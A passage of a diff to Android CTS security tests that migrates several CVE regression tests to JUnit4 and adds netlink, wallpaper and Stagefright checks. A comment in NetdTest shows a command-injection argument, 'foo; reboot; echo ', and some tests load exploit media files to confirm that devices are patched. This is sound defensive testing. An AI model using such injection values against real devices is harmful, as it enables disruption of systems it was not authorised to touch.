index 4f5754c..135d493 100644
--- a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
@@ -16,7 +16,6 @@
 
 package android.security.cts;
 
-import android.test.AndroidTestCase;
 import android.platform.test.annotations.AsbSecurityTest;
 import androidx.test.InstrumentationRegistry;
 
@@ -49,12 +48,23 @@
 import android.util.Log;
 import android.annotation.Nullable;
 import android.platform.test.annotations.AppModeFull;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 import static java.lang.Thread.sleep;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 @AppModeFull
-public class NanoAppBundleTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class NanoAppBundleTest extends StsExtraBusinessLogicTestCase {
 
+    private Context mContext;
     private static final String TAG = "NanoAppBundleTest";
     private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
 
@@ -72,27 +82,27 @@
             }
         };
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
+        mContext = getInstrumentation().getContext();
         Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
         mContext.startService(serviceIntent);
         mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         if (mContext != null) {
             Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
             mContext.stopService(serviceIntent);
         }
-        super.tearDown();
     }
 
     /**
      * b/113527124
      */
     @AsbSecurityTest(cveBugId = 77599679)
+    @Test
     public void testPoc_cve_2018_9471() throws Exception {
 
         try {
diff --git a/tests/tests/security/src/android/security/cts/NativeCodeTest.java b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
index c5a9bac..53c05c0 100644
--- a/tests/tests/security/src/android/security/cts/NativeCodeTest.java
+++ b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
@@ -18,15 +18,22 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import junit.framework.TestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
-public class NativeCodeTest extends TestCase {
+import static org.junit.Assert.*;
+
+@RunWith(AndroidJUnit4.class)
+public class NativeCodeTest extends StsExtraBusinessLogicTestCase {
 
     static {
         System.loadLibrary("ctssecurity_jni");
     }
 
     @AsbSecurityTest(cveBugId = 22300191)
+    @Test
     public void testSysVipc() throws Exception {
         assertTrue("Android does not support Sys V IPC, it must "
                    + "be removed from the kernel. In the kernel config: "
diff --git a/tests/tests/security/src/android/security/cts/NetdTest.java b/tests/tests/security/src/android/security/cts/NetdTest.java
index 14623fd..463d443 100644
--- a/tests/tests/security/src/android/security/cts/NetdTest.java
+++ b/tests/tests/security/src/android/security/cts/NetdTest.java
@@ -20,13 +20,17 @@
 import android.os.IBinder;
 import android.platform.test.annotations.AsbSecurityTest;
 
-import junit.framework.TestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
 import java.lang.Class;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 
-public class NetdTest extends TestCase {
+@RunWith(AndroidJUnit4.class)
+public class NetdTest extends StsExtraBusinessLogicTestCase {
 
     /**
      * Detect if netd has unsanitized system call in Throttle API.
@@ -34,6 +38,7 @@
      *    serv.setInterfaceThrottle("foo; reboot; echo ", -1, -1);
      */
     @AsbSecurityTest(cveBugId = 5758556)
+    @Test
     public void testThrottleSanitization() {
         try {
 
diff --git a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
index f810817..f68c097 100644
--- a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
+++ b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
@@ -16,20 +16,27 @@
 
 package android.security.cts;
 
+import static org.junit.Assert.*;
+
 import android.graphics.SurfaceTexture;
 import android.hardware.camera2.params.OutputConfiguration;
 import android.os.Parcel;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
 import android.util.Size;
 import android.view.Surface;
 import android.view.TextureView;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
 /**
  * Verify that OutputConfiguration's fields propagate through parcel properly.
  */
-public class OutputConfigurationTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class OutputConfigurationTest extends StsExtraBusinessLogicTestCase {
     @AsbSecurityTest(cveBugId = 69683251)
+    @Test
     public void testSharedSurfaceOutputConfigurationBasic() throws Exception {
         SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID */ 5);
         Surface surface = new Surface(outputTexture);
diff --git a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
index 5b4e530..d2d70d8 100644
--- a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
+++ b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
@@ -16,7 +16,8 @@
 
 package android.security.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.*;
+
 import android.platform.test.annotations.AsbSecurityTest;
 import android.security.cts.R;
 
@@ -26,13 +27,21 @@
 import android.os.Bundle;
 import android.os.Parcel;
 import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.File;
 import java.lang.reflect.Field;
 
-public class ParcelableExceptionTest extends AndroidTestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ParcelableExceptionTest extends StsExtraBusinessLogicTestCase {
 
     @AsbSecurityTest(cveBugId = 65281159)
+    @Test
     public void test_CVE_2017_0871() throws Exception {
         String filePath = "/data/system/" + System.currentTimeMillis();
         File file = new File(filePath);
diff --git a/tests/tests/security/src/android/security/cts/PutOverflowTest.java b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
index 2bf7a85..4667859 100644
--- a/tests/tests/security/src/android/security/cts/PutOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
@@ -17,10 +17,18 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import java.lang.reflect.Method;
 
-public class PutOverflowTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class PutOverflowTest extends StsExtraBusinessLogicTestCase {
+    @Test
     @AsbSecurityTest(cveBugId = 22802399)
     public void testCrash() throws Exception {
         try {
diff --git a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
index 8405acc..293200e 100644
--- a/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
+++ b/tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java
@@ -19,11 +19,17 @@
 import android.app.ActivityManager;
 import android.content.Context;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
 
 import java.util.List;
 
-public class RunningAppProcessInfoTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class RunningAppProcessInfoTest extends StsExtraBusinessLogicTestCase {
     /*
      * This test verifies severity vulnerability: apps can bypass the L restrictions in
      * getRunningTasks()is fixed. The test tries to get current RunningAppProcessInfo and passes
@@ -31,9 +37,10 @@
      */
 
     @AsbSecurityTest(cveBugId = 20034603)
+    @Test
     public void testRunningAppProcessInfo() {
         ActivityManager amActivityManager =
-                (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+                (ActivityManager) getInstrumentation().getContext().getSystemService(Context.ACTIVITY_SERVICE);
         List<ActivityManager.RunningAppProcessInfo> appList =
                 amActivityManager.getRunningAppProcesses();
         // The test will pass if it is able to get only its process info
diff --git a/tests/tests/security/src/android/security/cts/SQLiteTest.java b/tests/tests/security/src/android/security/cts/SQLiteTest.java
index a3a14d4..84d36fa 100644
--- a/tests/tests/security/src/android/security/cts/SQLiteTest.java
+++ b/tests/tests/security/src/android/security/cts/SQLiteTest.java
@@ -28,14 +28,21 @@
 import android.net.Uri;
 import android.platform.test.annotations.AsbSecurityTest;
 import android.provider.VoicemailContract;
-import android.test.AndroidTestCase;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.File;
 import java.io.FileInputStream;
 
-public class SQLiteTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class SQLiteTest extends StsExtraBusinessLogicTestCase {
     private static final String DATABASE_FILE_NAME = "database_test.db";
 
     private ContentResolver mResolver;
@@ -44,9 +51,8 @@
 
     private SQLiteDatabase mDatabase;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
         mResolver = getContext().getContentResolver();
         mContext = InstrumentationRegistry.getTargetContext();
         mPackageName = mContext.getPackageName();
@@ -62,6 +68,7 @@
      * b/139186193
      */
     @AsbSecurityTest(cveBugId = 139186193)
+    @Test
     public void test_android_cve_2019_2195() {
         Uri uri = VoicemailContract.Voicemails.CONTENT_URI;
         uri = uri.buildUpon().appendQueryParameter("source_package", mPackageName).build();
@@ -99,6 +106,7 @@
      * b/153352319
      */
     @AsbSecurityTest(cveBugId = 153352319)
+    @Test
     public void test_android_float_to_text_conversion_overflow() {
         String create_cmd = "select (printf('%.2147483647G',0.01));";
         try (Cursor c = mDatabase.rawQuery(create_cmd, null)) {
diff --git a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
index 7e6fb7c..2765de4 100644
--- a/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
+++ b/tests/tests/security/src/android/security/cts/STKFrameworkTest.java
@@ -15,33 +15,35 @@
  */
 package android.security.cts;
 
+import static org.junit.Assert.*;
+
 import android.content.ComponentName;
 import android.content.Intent;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
 import android.content.pm.PackageManager;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
-public class STKFrameworkTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class STKFrameworkTest extends StsExtraBusinessLogicTestCase {
     private boolean mHasTelephony;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
         mHasTelephony = getContext().getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_TELEPHONY);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-    }
-
     /*
      * Verifies commands Intercepting which has been sent from SIM card to Telephony using
      * zero-permission malicious application
      */
     @AsbSecurityTest(cveBugId = 21697171)
+    @Test
     public void testInterceptedSIMCommandsToTelephony() {
         if (!mHasTelephony) {
             return;
@@ -54,7 +56,7 @@
                 ComponentName.unflattenFromString("com.android.stk/com.android.stk.StkCmdReceiver");
         intent.setComponent(cn);
         try {
-            mContext.sendBroadcast(intent);
+            getInstrumentation().getContext().sendBroadcast(intent);
             fail("Able to send broadcast which can be received by any app which has registered " +
                     "broadcast for action 'com.android.internal.stk.command' since it is not " +
                     "protected with any permission. Device is vulnerable to CVE-2015-3843.");
diff --git a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
index 4a9802f..de6a9ac 100644
--- a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
+++ b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
@@ -19,26 +19,33 @@
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 import android.platform.test.annotations.AsbSecurityTest;
 
-public class SkiaICORecursiveDecodingTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class SkiaICORecursiveDecodingTest extends StsExtraBusinessLogicTestCase {
 
     @AsbSecurityTest(cveBugId = 73782357)
+    @Test
     public void testAndroid_cve_2017_13318() {
         doSkiaIcoRecursiveDecodingTest(R.raw.cve_2017_13318);
     }
 
     @AsbSecurityTest(cveBugId = 17262540)
+    @Test
     public void test_android_bug_17262540() {
         doSkiaIcoRecursiveDecodingTest(R.raw.bug_17262540);
     }
 
     @AsbSecurityTest(cveBugId = 17265466)
+    @Test
     public void test_android_bug_17265466() {
         doSkiaIcoRecursiveDecodingTest(R.raw.bug_17265466);
     }
@@ -47,7 +54,7 @@
      * Verifies that the device prevents recursive decoding of malformed ICO files
      */
     public void doSkiaIcoRecursiveDecodingTest(int resId) {
-        InputStream exploitImage = mContext.getResources().openRawResource(resId);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId);
         /**
          * The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices
          * while decoding the exploit image which will lead to process crash
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 6820f2c..af5fb29 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -22,6 +22,7 @@
  */
 package android.security.cts;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import android.app.Instrumentation;
 import android.content.Context;
 import android.content.res.AssetFileDescriptor;
@@ -100,20 +101,14 @@
  */
 @AppModeFull
 @RunWith(AndroidJUnit4.class)
-public class StagefrightTest {
+public class StagefrightTest extends StsExtraBusinessLogicTestCase {
     static final String TAG = "StagefrightTest";
-    private Instrumentation mInstrumentation;
 
     private final long TIMEOUT_NS = 10000000000L;  // 10 seconds.
     private final static long CHECK_INTERVAL = 50;
 
     @Rule public TestName name = new TestName();
 
-    @Before
-    public void setup() {
-        mInstrumentation = InstrumentationRegistry.getInstrumentation();
-    }
-
     class CodecConfig {
         boolean isAudio;
         /* Video Parameters - valid only when isAudio is false */
@@ -1821,6 +1816,12 @@
      before any existing test methods
      ***********************************************************/
     @Test
+    @AsbSecurityTest(cveBugId = 157906313)
+    public void testStagefright_cve_2020_11135() throws Exception {
+        doStagefrightTest(R.raw.cve_2020_11135);
+    }
+
+    @Test
     @AsbSecurityTest(cveBugId = 136175447)
     public void testStagefright_cve_2019_2186() throws Exception {
         long end = System.currentTimeMillis() + 180000; // 3 minutes from now
@@ -3259,8 +3260,4 @@
 
         assertFalse(hung);
     }
-
-    private Instrumentation getInstrumentation() {
-        return mInstrumentation;
-    }
 }
diff --git a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
index 3be7534..945d119 100644
--- a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
+++ b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
@@ -22,22 +22,25 @@
 import android.media.audiofx.AudioEffect;
 import android.media.MediaPlayer;
 import android.media.audiofx.Visualizer;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import android.util.Log;
 
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Method;
 import java.util.UUID;
 
+import static org.junit.Assert.*;
 
-public class VisualizerEffectTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class VisualizerEffectTest extends StsExtraBusinessLogicTestCase {
     private String TAG = "VisualizerEffectTest";
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
 
     //Testing security bug: 30229821
+    @Test
     @AsbSecurityTest(cveBugId = 30229821)
     public void testVisualizer_MalformedConstructor() throws Exception {
         final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b";
@@ -80,4 +83,4 @@
             Log.w(TAG,"No visualizer found to test");
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
new file mode 100644
index 0000000..fda462b
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
+
+import android.Manifest;
+import android.app.WallpaperManager;
+import android.content.Context;
+import android.graphics.Rect;
+import android.hardware.display.DisplayManager;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.view.Display;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+import org.junit.After;
+import org.junit.Before;
+
+public class WallpaperManagerTest extends CtsAndroidTestCase {
+
+    @Before
+    public void setUp() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.SET_WALLPAPER_HINTS);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    // b/204316511
+    @AsbSecurityTest(cveBugId = 204316511)
+    public void testSetDisplayPadding() {
+        WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+
+        Rect validRect = new Rect(1, 1, 1, 1);
+        // This should work, no exception expected
+        wallpaperManager.setDisplayPadding(validRect);
+
+        Rect negativeRect = new Rect(-1, 0 , 0, 0);
+        try {
+            wallpaperManager.setDisplayPadding(negativeRect);
+            fail("setDisplayPadding should fail for a Rect with negative values");
+        } catch (IllegalArgumentException e) {
+            // Expected exception
+        }
+
+        DisplayManager dm = getContext().getSystemService(DisplayManager.class);
+        Display primaryDisplay = dm.getDisplay(DEFAULT_DISPLAY);
+        Context windowContext = getContext().createWindowContext(primaryDisplay,
+                TYPE_APPLICATION, null);
+        Display display = windowContext.getDisplay();
+
+        Rect tooWideRect = new Rect(0, 0, display.getMaximumSizeDimension() + 1, 0);
+        try {
+            wallpaperManager.setDisplayPadding(tooWideRect);
+            fail("setDisplayPadding should fail for a Rect width larger than "
+                    + display.getMaximumSizeDimension());
+        } catch (IllegalArgumentException e) {
+            // Expected exception
+        }
+
+        Rect tooHighRect = new Rect(0, 0, 0, display.getMaximumSizeDimension() + 1);
+        try {
+            wallpaperManager.setDisplayPadding(tooHighRect);
+            fail("setDisplayPadding should fail for a Rect height larger than "
+                    + display.getMaximumSizeDimension());
+        } catch (IllegalArgumentException e) {
+            // Expected exception
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
index 5cc4fe5..af28a54 100644
--- a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
+++ b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
@@ -19,22 +19,30 @@
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 
-public class ZeroHeightTiffTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ZeroHeightTiffTest extends StsExtraBusinessLogicTestCase {
     /**
      * Verifies that the device fails to decode a zero height tiff file.
      *
      * Prior to fixing bug 33300701, decoding resulted in undefined behavior (divide by zero).
      * With the fix, decoding will fail, without dividing by zero.
      */
+    @Test
     @AsbSecurityTest(cveBugId = 33300701)
     public void test_android_bug_33300701() {
-        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33300701);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33300701);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
         assertNull(bitmap);
     }
diff --git a/tests/tests/selinux/OWNERS b/tests/tests/selinux/OWNERS
index 8824b03..15b67bf 100644
--- a/tests/tests/selinux/OWNERS
+++ b/tests/tests/selinux/OWNERS
@@ -1,4 +1,3 @@
 # Bug component: 85141
 jeffv@google.com
-jgalenson@google.com
-nnk@google.com
+tweek@google.com
diff --git a/tests/tests/selinux/common/jni/android_security_SELinuxTargetSdkTest.cpp b/tests/tests/selinux/common/jni/android_security_SELinuxTargetSdkTest.cpp
index 6c5d7ca..4570f46 100644
--- a/tests/tests/selinux/common/jni/android_security_SELinuxTargetSdkTest.cpp
+++ b/tests/tests/selinux/common/jni/android_security_SELinuxTargetSdkTest.cpp
@@ -26,7 +26,7 @@
 #include <memory>
 
 struct SecurityContext_Delete {
-    void operator()(security_context_t p) const {
+    void operator()(char* p) const {
         freecon(p);
     }
 };
@@ -64,6 +64,51 @@
 }
 
 /**
+ * Function: checkNetlinkRouteGetneigh
+ * Purpose: Checks to see if RTM_GETNEIGH{TBL} is allowed on a netlink route socket.
+ * Returns: 3 (expected) if RTM_GETNEIGH and RTM_GETNEIGHTBL both fail with permission denied.
+ *          1 if only RTM_GETNEIGH fails with permission denied.
+ *          2 if only RTM_GETNEIGHTBL fails with permission denied.
+ *          0 if both succeed.
+ *          -1 if socket creation fails
+ */
+static jint checkNetlinkRouteGetneigh() {
+    int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
+    if (sock < 0)
+    {
+        __android_log_print(ANDROID_LOG_ERROR, "SELinuxTargetSdkTest", "socket creation failed.");
+        return -1;
+    }
+    struct NetlinkMessage
+    {
+        nlmsghdr hdr;
+        rtgenmsg msg;
+    } request;
+    memset(&request, 0, sizeof(request));
+    request.hdr.nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST;
+    request.hdr.nlmsg_len = sizeof(request);
+    request.msg.rtgen_family = AF_UNSPEC;
+
+    int return_value = 0;
+
+    request.hdr.nlmsg_type = RTM_GETNEIGH;
+    int ret = send(sock, &request, sizeof(request), 0);
+    if (ret < 0 && errno == 13)
+    {
+        return_value |= 1;
+    }
+
+    request.hdr.nlmsg_type = RTM_GETNEIGHTBL;
+    ret = send(sock, &request, sizeof(request), 0);
+    if (ret < 0 && errno == 13)
+    {
+        return_value |= 1 << 1;
+    }
+
+    return return_value;
+}
+
+/**
  * Function: checkNetlinkRouteBind
  * Purpose: Checks to see if bind() is allowed on a netlink route socket.
  * Returns: 13 (expected) if bind() fails with permission denied.
@@ -106,7 +151,7 @@
         return NULL;
     }
 
-    security_context_t tmp = NULL;
+    char* tmp = NULL;
     int ret = getfilecon(path.c_str(), &tmp);
     Unique_SecurityContext context(tmp);
 
@@ -122,6 +167,7 @@
     { "getFileContext", "(Ljava/lang/String;)Ljava/lang/String;", (void*) getFileContext },
     { "checkNetlinkRouteBind", "()I", (void*) checkNetlinkRouteBind },
     { "checkNetlinkRouteGetlink", "()I", (void*) checkNetlinkRouteGetlink },
+    { "checkNetlinkRouteGetneigh", "()I", (void*) checkNetlinkRouteGetneigh },
 };
 
 int register_android_security_SELinuxTargetSdkTest(JNIEnv* env)
diff --git a/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java b/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
index 6ec352c..cb2faec 100644
--- a/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
+++ b/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
@@ -12,6 +12,7 @@
 import java.util.Collections;
 import java.util.regex.Pattern;
 import java.util.regex.Matcher;
+import org.junit.Assert;
 
 abstract class SELinuxTargetSdkTestBase extends AndroidTestCase
 {
@@ -19,6 +20,8 @@
         System.loadLibrary("ctsselinux_jni");
     }
 
+    static final byte[] ANONYMIZED_HARDWARE_ADDRESS = { 0x02, 0x00, 0x00, 0x00, 0x00, 0x00 };
+
     protected static String getFile(String filename) throws IOException {
         BufferedReader in = null;
         try {
@@ -59,36 +62,37 @@
         }
     }
 
-    protected static void checkNetlinkRouteGetlink(boolean expectAllowed) throws IOException {
+    protected static void noNetlinkRouteGetlink() throws IOException {
+        assertEquals(
+                "RTM_GETLINK is not allowed on netlink route sockets. Verify that the"
+                    + " following patch has been applied to your kernel: "
+                    + "https://android-review.googlesource.com/q/I7b44ce60ad98f858c412722d41b9842f8577151f",
+                13,
+                checkNetlinkRouteGetlink());
+    }
+
+    protected static void checkNetlinkRouteGetneigh(boolean expectAllowed) throws IOException {
         if (!expectAllowed) {
             assertEquals(
-                    "RTM_GETLINK is not allowed on a netlink route sockets. Verify that the"
+                    "RTM_GETNEIGH is not allowed on netlink route sockets. Verify that the"
                         + " following patch has been applied to your kernel: "
-                        + "https://android-review.googlesource.com/q/I7b44ce60ad98f858c412722d41b9842f8577151f",
-                    13,
-                    checkNetlinkRouteGetlink());
+                        + "https://r.android.com/1690896",
+                    3,
+                    checkNetlinkRouteGetneigh());
         } else {
             assertEquals(
-                    "RTM_GETLINK should be allowed netlink route sockets for apps with "
-                            + "targetSdkVersion <= Q",
-                    -1,
-                    checkNetlinkRouteGetlink());
+                    "RTM_GETNEIGH should be allowed on netlink route sockets for apps with "
+                            + "targetSdkVersion <= S",
+                    0,
+                    checkNetlinkRouteGetneigh());
         }
     }
 
-    protected static void checkNetlinkRouteBind(boolean expectAllowed) throws IOException {
-        if (!expectAllowed) {
-            assertEquals(
-                    "Bind() is not allowed on a netlink route sockets",
-                    13,
-                    checkNetlinkRouteBind());
-        } else {
-            assertEquals(
-                    "Bind() should succeed for netlink route sockets for apps with "
-                            + "targetSdkVersion <= Q",
-                    -1,
-                    checkNetlinkRouteBind());
-        }
+    protected static void noNetlinkRouteBind() throws IOException {
+        assertEquals(
+                "bind() is not allowed on netlink route sockets",
+                13,
+                checkNetlinkRouteBind());
     }
 
     /**
@@ -169,16 +173,25 @@
     }
 
     /**
-     * Verify that apps having targetSdkVersion <= 29 are able to see MAC
-     * addresses of ethernet devices.
-     * The counterpart of this test (testing for targetSdkVersion > 29) is
-     * {@link libcore.java.net.NetworkInterfaceTest#testGetHardwareAddress_returnsNull()}.
+     * Verify that apps are not able to see MAC addresses of ethernet devices.
      */
-    protected static void checkNetworkInterface_returnsHardwareAddresses() throws Exception {
+    protected static void checkNetworkInterfaceHardwareAddress_returnsNull() throws Exception {
+        assertNotNull(NetworkInterface.getNetworkInterfaces());
+        for (NetworkInterface nif : Collections.list(NetworkInterface.getNetworkInterfaces())) {
+            assertNull(nif.getHardwareAddress());
+        }
+    }
+
+    /**
+     * Verify that apps having targetSdkVersion <= 29 get an anonymized MAC
+     * address (02:00:00:00:00:00) instead of a null MAC for ethernet interfaces.
+     */
+    protected static void checkNetworkInterface_returnsAnonymizedHardwareAddresses()
+        throws Exception {
         assertNotNull(NetworkInterface.getNetworkInterfaces());
         for (NetworkInterface nif : Collections.list(NetworkInterface.getNetworkInterfaces())) {
             if (isEthernet(nif.getName())) {
-                assertEquals(6, nif.getHardwareAddress().length);
+                Assert.assertArrayEquals(ANONYMIZED_HARDWARE_ADDRESS, nif.getHardwareAddress());
             }
         }
     }
@@ -192,6 +205,7 @@
     }
 
     private static final native int checkNetlinkRouteGetlink();
+    private static final native int checkNetlinkRouteGetneigh();
     private static final native int checkNetlinkRouteBind();
     private static final native String getFileContext(String path);
 }
diff --git a/tests/tests/selinux/selinuxEphemeral/AndroidTest.xml b/tests/tests/selinux/selinuxEphemeral/AndroidTest.xml
index 7ffabcd..a5759cf 100644
--- a/tests/tests/selinux/selinuxEphemeral/AndroidTest.xml
+++ b/tests/tests/selinux/selinuxEphemeral/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
